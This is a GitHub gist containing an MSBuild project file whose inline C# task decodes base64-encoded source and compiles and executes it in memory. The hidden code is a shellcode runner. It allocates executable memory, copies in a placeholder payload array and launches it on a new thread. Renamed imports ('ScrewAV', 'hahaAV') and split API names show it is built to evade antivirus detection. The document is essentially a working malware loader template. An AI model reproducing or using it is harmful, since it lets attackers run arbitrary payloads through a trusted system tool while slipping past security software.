Skip to content

Instantly share code, notes, and snippets.

@curi0usJack
Created September 14, 2017 20:08
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save curi0usJack/4498c0e35ef15d623def9eb37d2a8bab to your computer and use it in GitHub Desktop.
Save curi0usJack/4498c0e35ef15d623def9eb37d2a8bab to your computer and use it in GitHub Desktop.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Business">
<BusinessTime />
</Target>
<UsingTask
TaskName="BusinessTime"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.Runtime.InteropServices" />
<Using Namespace="System.Reflection" />
<Using Namespace="System.Text" />
<Using Namespace="System.CodeDom.Compiler" />
<Using Namespace="Microsoft.CSharp" />
<Code Type="Fragment" Language="cs">
<![CDATA[
string strb64 = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpuYW1lc3BhY2UgQ3VzdG9tCnsKICAgIHB1YmxpYyBjbGFzcyBQcm9ncmFtCiAgICB7CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIE1haW4oKQogICAgICAgIHsKICAgICAgICAgICAgYnl0ZVtdIHNjID0gbmV3IGJ5dGVbXSB7IH0gLy9zaGVsbGNvZGUgZ29lcyBoZXJlLgoJCQkKICAgICAgICAgICAgVUludDMyIGZhID0gQVZCbG93cygwLCAoVUludDMyKXNjLkxlbmd0aCwgMHgxMDAwLCAweDQwKTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHNjLCAwLCAoSW50UHRyKShmYSksIHNjLkxlbmd0aCk7CiAgICAgICAgICAgIEludFB0ciBodCA9IEludFB0ci5aZXJvOwogICAgICAgICAgICBVSW50MzIgdGhyZWFkSWQgPSAwOwoKICAgICAgICAgICAgSW50UHRyIHBpbmZvID0gSW50UHRyLlplcm87CiAgICAgICAgICAgIGh0ID0gU2NyZXdBVigwLCAwLCBmYSwgcGluZm8sIDAsIHJlZiB0aHJlYWRJZCk7CgogICAgICAgICAgICBoYWhhQVYoaHQsIDB4RkZGRkZGRkYpOwogICAgICAgIH0KCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBFbnRyeVBvaW50PSJWaXIiICsgInR1YWxBIiArICJsbG9jIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIFVJbnQzMiBBVkJsb3dzKFVJbnQzMiBscFN0YXJ0QWRkciwgVUludDMyIHNpemUsIFVJbnQzMiBmbEFsbG9jYXRpb25UeXBlLCBVSW50MzIgZmxQcm90ZWN0KTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VyIiArICJuZWwzMiIsIEVudHJ5UG9pbnQ9IkNyZWF0ZSIgKyAiVGhyZWFkIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIEludFB0ciBTY3Jld0FWKFVJbnQzMiBscFRocmVhZEF0dHJpYnV0ZXMsIFVJbnQzMiBkd1N0YWNrU2l6ZSwgVUludDMyIGxwU3RhcnRBZGRyZXNzLCBJbnRQdHIgcGFyYW0sIFVJbnQzMiBkd0NyZWF0aW9uRmxhZ3MsIHJlZiBVSW50MzIgbHBUaHJlYWRJZCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgRW50cnlQb2ludD0iV2FpdEYiICsgIm9yU2luIiArICJnbGVPYmplY3QiKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gVUludDMyIGhhaGFBVihJbnRQdHIgaEhhbmRsZSwgVUludDMyIGR3TWlsbGlzZWNvbmRzKTsKICAgIH0KfQo=";
string code = Encoding.UTF8.GetString(System.Convert.FromBase64String(strb64));
CSharpCodeProvider prov = new CSharpCodeProvider();
CompilerParameters parms = new CompilerParameters();
parms.GenerateInMemory = true;
parms.GenerateExecutable = false;
CompilerResults results = prov.CompileAssemblyFromSource(parms, code);
Assembly assembly = results.CompiledAssembly;
Type program = assembly.GetType("Custom.Program");
MethodInfo main = program.GetMethod("Main");
main.Invoke(null, null);
]]>
</Code>
</Task>
</UsingTask>
</Project>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment